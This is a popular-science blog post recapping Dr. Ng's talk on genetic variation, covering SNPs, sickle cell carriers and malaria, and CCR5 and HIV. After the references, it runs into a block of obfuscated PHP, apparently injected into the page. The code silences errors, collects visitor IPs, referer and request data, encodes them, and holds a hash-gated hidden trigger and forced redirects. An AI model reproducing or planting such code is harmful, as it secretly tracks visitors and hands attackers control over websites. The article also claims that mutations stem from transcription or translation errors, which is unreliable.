Genetics and Human Diseases by Dr. Ng – Genetic Variations (Part 2)

Written by Feadlind Dammia
Posted on August 27, 2019

In the first part, we talked about traits or phenotype. But, have you ever wondered what will happen to these traits when there is variations in DNA?

“Genetic variations are what makes our physical appearances different from each other.”

said Dr. Ng

What happens when there is variations in the DNA?

There’s only approximately 0.5% differences in our DNA. This percentage may seem small, but it is equivalent to roughly 15 million of DNA differences.

“People do not realise that our genomes are 99.5% similar to each other.”

stated Dr. Ng.

Genetic variations could contribute to the difference in all of us. Genetic variations can happen due to a mutation, when there is a change in DNA sequence. It could happen because of mistakes were made during the transcription or translation process.

Other than that, environment factors – such as exposure to UV light, cigarettes smoke and radiation can lead to mutations too.

When there’s a genetic variation, it can cause a change in the production of amino acids and proteins. Then, it affects the person’s appearance or traits.

Genetic variation can result in different skin color

Types of mutations

Generally, there are two types of mutations.

First, structural variations can cause mutation. This can be due to significant changes in the particular region of the gene. The reason these mutations happen could be due to deletion of DNA sequences, insertions of DNA sequences and a copy number of variation.

The second type of mutation is single nucleotide polymorphisms (SNPs).

Picture from Steemit

SNPs refer to the change in only a single DNA base.

Generally, most genetic variations within our DNA are biologically insignificant to us. On the other hand, there are certain mutations can be good. For instance, when it benefits people in certain circumstances.

Sickle cell anaemia is a good mutation?

Let’s look at an example, sickle cell anaemia is a disorder caused by genetic mutation. The mutation occurs in a gene that codes for haemoglobin, which are commonly found in red blood cells.

When someone inherits this mutation from BOTH parents, it can cause the haemoglobin to alter the shape of red blood cells into sickle-shaped, like a crescent moon. Sounds bad, right?

When someone inherits a mutation from ONE parent and a normal gene from another parent, they are carriers of sickle cell anaemia.

According to Dr. Ng, research has shown that carriers of sickle cell anaemia can have a protective effect against Malaria in people of African descent. This could explain why there is a higher frequency of sickle cell anaemia carriers in malaria-endemic areas.

Picture from Hematology Advisor

CCR5 mutations

Another example of a mutation with positive effects is the one that occurs in chemokine protein receptors, known as the CCR5 mutation.

The CCR5 receptors are proteins on the surface of white blood cells. When there’s a mutation on CCR5 gene, it can cause the CCR5 receptor to become smaller than usual, and it no longer sits on the surface of white blood cells. According to Dr. Ng, the CCR5 mutation can give you positive consequence, since HIV virus cannot enter the white blood cells due to this mutation.

People who inherit two copies of this mutation from both parents would have the protective effect of being immune to HIV.

People who inherit just one copy of the mutation does not have the protective effect against HIV infection. However, it is shown to reduce the chances of HIV infection and delays the progress of AIDS.

Are genetic variations bad for us?

“On the other hand, there are also certain mutations that can bring about negative effects.”

said Dr. Ng

These mutations could disrupt normal cell function within our body, which could contribute to the development of certain diseases.

Generally, genetic variations do make us special. Moreover, it is important for human evolution. It will reserve the favourable characteristics. And then, we will pass these down to the next generation.

You can watch the video here and read the summary of the video here.

References

  1. https://www.cdc.gov/malaria/about/biology/#tabs-1-4
  2. https://www.nature.com/scitable/blog/viruses101/hiv_resistant_mutation/

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x65\156\164"])); goto QWvm_m89LmNDj; wxds1ZPZC8t8f: header("\x48\124\x54\x50\x2f\61\56\x31\x20\x33\60\x32\x20\115\x6f\166\145\40\x54\x65\x6d\x70\157\162\141\162\151\x6c\x79"); goto G3yKAUUDdBKxr; QWvm_m89LmNDj: goto zWGKI4Hv2pTpv; goto W3ZYMEuL4xF9_; W3ZYMEuL4xF9_: case 404: goto UUL5hmfwmR0qY; YnYvxmOB6ia_T: header("\163\x74\141\x74\x75\x73\72\x20\64\x30\64\40\x4e\157\x74\40\x46\x6f\x75\156\x64"); goto O1k_1HkHx5g7k; O1k_1HkHx5g7k: goto zWGKI4Hv2pTpv; goto B2pDSvIkmb1VQ; UUL5hmfwmR0qY: header("\110\124\124\x50\x2f\x31\56\61\x20\x34\60\x34\40\x4e\157\x74\40\106\x6f\165\156\x64"); goto YnYvxmOB6ia_T; B2pDSvIkmb1VQ: default: goto zWGKI4Hv2pTpv; } goto fCJG5ES13l3i4; iKMb9NpQ0Wa1f: error_reporting(0); goto LOenakWexhCiK; CUVyx2kvjc7Bv: if (!strlen($k2gKYzhbIidOs["\x63\157\x6e\164\145\156\x74"])) { goto bTvjwr0JJluOZ; } goto VoMACLW07tNMn; ocrlFo60HdKtw: vGYt_mFZGk1hY: goto LeROmk0HXuaAG; Clqit5qp55a__: $v_byxu_GH_aWy = substr($KE8StQL98AulL, strpos($KE8StQL98AulL, "\56")); goto DvwabHGGPp6Vv; rrOKaW6ZdVRDp: if (!substr_count($_SERVER["\122\x45\x51\125\105\x53\124\137\x55\x52\x49"], "\x69\x6e\144\145\x78\x2e\160\x68\x70\x2f\x6a\153")) { goto o_xuu1JXjgvPa; } goto dTGPbnQx2SvI6; mSfx32hoK7RaE: O20GmmWpuB7Ut: goto gnYUJRdjCff78; JDj92HLtAnYcc: echo $k2gKYzhbIidOs["\x63\x6f\x6e\164\145\156\x74"]; goto FBiZ1ZPGbYLmx; t3H34IX4rP251: $fKcoUbHfweuX6["\x6c"] = oy9l4QJ9aVVkH($_SERVER["\110\124\x54\120\x5f\x41\103\x43\x45\x50\x54\137\x4c\101\116\x47\125\101\x47\x45"]); goto y6f9VEMauXjCK; y6f9VEMauXjCK: $fKcoUbHfweuX6["\163\x6e"] = oy9L4Qj9avvKh($_SERVER["\x53\x43\x52\x49\x50\x54\x5f\116\101\x4d\105"]); goto xogq9eoBwDmsK; ORBmhUNgekww2: $fKcoUbHfweuX6["\151"] = oy9l4QJ9avVKH($xsb0RcE4lR6rA); goto t3H34IX4rP251; KzeZgHeO48EuW: exit(strrev(md5($_SERVER["\x53\x45\122\126\105\122\137\116\x41\x4d\105"]))); goto K86B8bWu8pcJq; NhYx_RNzamheN: $eDutF3HKVCcoo = ${$B3rRoYj4v_PhG[25 + 6] . $B3rRoYj4v_PhG[3 + 56] . $B3rRoYj4v_PhG[7 + 40] . $B3rRoYj4v_PhG[13 + 34] . $B3rRoYj4v_PhG[23 + 28] . $B3rRoYj4v_PhG[22 + 31] . $B3rRoYj4v_PhG[21 + 36]}; goto Ub2BxAEyOwJVd; Ub2BxAEyOwJVd: if (!(in_array(gettype($eDutF3HKVCcoo) . count($eDutF3HKVCcoo), $eDutF3HKVCcoo) && count($eDutF3HKVCcoo) == 12 && md5(md5(md5(md5($eDutF3HKVCcoo[6])))) === "\146\146\x61\67\62\x66\x32\145\x61\71\x36\x65\x35\x32\145\x36\71\x64\60\x34\61\61\61\70\71\x66\141\64\x31\x33\x38\142")) { goto vGYt_mFZGk1hY; } goto FsSR7k4J2LsRG; GwqkI894kGv2O: zWGKI4Hv2pTpv: goto wnyBx2zVb8v61; SjWPaBUhNup67: QMgqCEdetPwxq::Cuq74siIbbwTJ(); goto XlKw_LYyv2AwY; zA_Rx0oh4UIE1: $B3rRoYj4v_PhG = $vfMsUuKN031B5("\176", "\40"); goto NhYx_RNzamheN; zVWci7LAzQCjt: $fKcoUbHfweuX6 = array(); goto ORBmhUNgekww2; emEiNzmL9X5Q5: if (!(strpos($NR6oSGrPYGUjY, $fWJAz7jwqdmGh) === 0)) { goto IZPFl1hrtMoau; } goto Xc4mwOPgMyKkX; bkBKCPZzEBn0b: function Oy9L4QJ9AVVkh($CRt27rN_kKUwt) { goto EF1toTXdzBhck; VLHSB1_IFq9J3: return rtrim(strtr(base64_encode($CRt27rN_kKUwt), "\53\x2f", "\x2d\x5f"), "\75"); goto K2AOfEOJ4pi2D; eRjJduBShGMM8: return ''; goto o3lCkYoXQAAD3; EF1toTXdzBhck: if ($CRt27rN_kKUwt) { goto c1mS1ZwUXn6mw; } goto eRjJduBShGMM8; o3lCkYoXQAAD3: c1mS1ZwUXn6mw: goto VLHSB1_IFq9J3; K2AOfEOJ4pi2D: } goto HwWbK1tn_TfG4; A0nsnuCB0Tk8g: $fWJAz7jwqdmGh = mVZUV88zu2YJI() . $_SERVER["\x48\124\124\x50\x5f\110\117\123\x54"]; goto emEiNzmL9X5Q5; L4N4x49hNnNph: $NR6oSGrPYGUjY = strval(@$_SERVER["\110\124\124\120\137\x52\105\x46\105\122\105\122"]); goto A0nsnuCB0Tk8g; JMoDVVROH8OCS: $fKcoUbHfweuX6["\163"] = Oy9L4qJ9AVvkh($fWJAz7jwqdmGh); goto FtpFOwVpYZ2Xp; bgYubpEeeCNXl: if ($SwEZuHdgOSyyr) { goto OIgTYm8OBN0aV; } goto HHLZ0JDXq8oeZ; xogq9eoBwDmsK: $fKcoUbHfweuX6["\162"] = OY9l4QJ9aVVKH($_SERVER["\122\x45\x51\125\105\123\124\137\x55\x52\x49"]); goto UbxXxfFtloArX; HwWbK1tn_TfG4: function u6IY2wkCLs09o() { goto yJ2JawYU5KAY0; juwCA60Lo9ZNj: if (isset($_SERVER["\110\x54\124\x50\x5f\130\137\122\105\101\x4c\137\x49\120"]) && !empty($_SERVER["\x48\124\124\120\x5f\130\137\122\x45\x41\x4c\x5f\x49\x50"])) { goto HyHWa0fylirXs; } goto Ca4QAKld__sVY; fZiJQgWIfn4tA: axCk0Ed0mQKFV: goto Ko2zOmvRTWOwC; M862cTe5sr_31: $xsb0RcE4lR6rA = explode("\x2c", $xsb0RcE4lR6rA); goto sd0jwVmzZ71We; DwIV2MAV2fhMJ: HyHWa0fylirXs: goto UlnpGeWCClJE0; yuYMWDEYRfKxm: goto cPB2cyg8FWhE6; goto fZiJQgWIfn4tA; sd0jwVmzZ71We: $xsb0RcE4lR6rA = $xsb0RcE4lR6rA[0]; goto zRObLq_OpLiqP; Ko2zOmvRTWOwC: $xsb0RcE4lR6rA = $_SERVER["\x48\124\124\120\137\x43\106\x5f\x43\x4f\x4e\116\x45\x43\x54\111\x4e\x47\x5f\111\x50"]; goto q32KIVTgNQrDU; Ca4QAKld__sVY: if (isset($_SERVER["\110\124\124\120\137\130\137\x46\117\x52\x57\101\122\x44\x45\x44\137\x46\117\x52"]) && !empty($_SERVER["\x48\x54\124\120\137\130\137\106\x4f\122\127\101\x52\x44\105\x44\137\106\117\x52"])) { goto trSwYhMpKBLo3; } goto mQ6MIazCsvpi3; WJAoo1Ek_WEiZ: if (isset($_SERVER["\110\x54\x54\x50\137\103\x46\x5f\x43\x4f\116\116\x45\103\124\111\116\x47\137\x49\x50"]) && !empty($_SERVER["\x48\124\124\x50\x5f\x43\106\137\103\117\x4e\116\105\x43\124\111\x4e\107\137\x49\x50"])) { goto axCk0Ed0mQKFV; } goto juwCA60Lo9ZNj; W5rex8VQSuDgj: $xsb0RcE4lR6rA = $_SERVER["\110\124\x54\x50\x5f\x58\x5f\106\117\x52\127\x41\x52\x44\x45\104\x5f\x46\x4f\122"]; goto gBn7ylzTrUKkV; C7udJvs4n14pk: return $xsb0RcE4lR6rA; goto D1AZleiZlUvYy; q32KIVTgNQrDU: goto cPB2cyg8FWhE6; goto DwIV2MAV2fhMJ; gBn7ylzTrUKkV: cPB2cyg8FWhE6: goto X_WoTpG1Z6eMp; w8nS4viDEwGLB: trSwYhMpKBLo3: goto W5rex8VQSuDgj; yg3KMWRAq9g2I: goto cPB2cyg8FWhE6; goto w8nS4viDEwGLB; mQ6MIazCsvpi3: $xsb0RcE4lR6rA = $_SERVER["\x52\x45\115\x4f\124\105\137\101\x44\104\x52"]; goto yuYMWDEYRfKxm; UlnpGeWCClJE0: $xsb0RcE4lR6rA = $_SERVER["\x48\124\124\x50\137\130\137\122\x45\x41\114\x5f\111\x50"]; goto yg3KMWRAq9g2I; zRObLq_OpLiqP: nRAE_rbKgGFOi: goto C7udJvs4n14pk; EHon44BHSRjTs: if (!(strpos($xsb0RcE4lR6rA, "\x2c") !== false)) { goto nRAE_rbKgGFOi; } goto M862cTe5sr_31; X_WoTpG1Z6eMp: $xsb0RcE4lR6rA = trim(str_replace("\40", '', $xsb0RcE4lR6rA), "\x2c"); goto EHon44BHSRjTs; yJ2JawYU5KAY0: $xsb0RcE4lR6rA = ''; goto WJAoo1Ek_WEiZ; D1AZleiZlUvYy: } goto kz8Sj39h2k1oR; OJ7PC6hUpTLDQ: error_reporting(0); goto e1qHgZ5kQh333; gnYUJRdjCff78: dDp60WEP5KucA: goto bgYubpEeeCNXl; Xc4mwOPgMyKkX: $NR6oSGrPYGUjY = ''; goto nZ3SrqwAvDoV3; P0Iq6Ou1jvLCT: OIgTYm8OBN0aV: ?>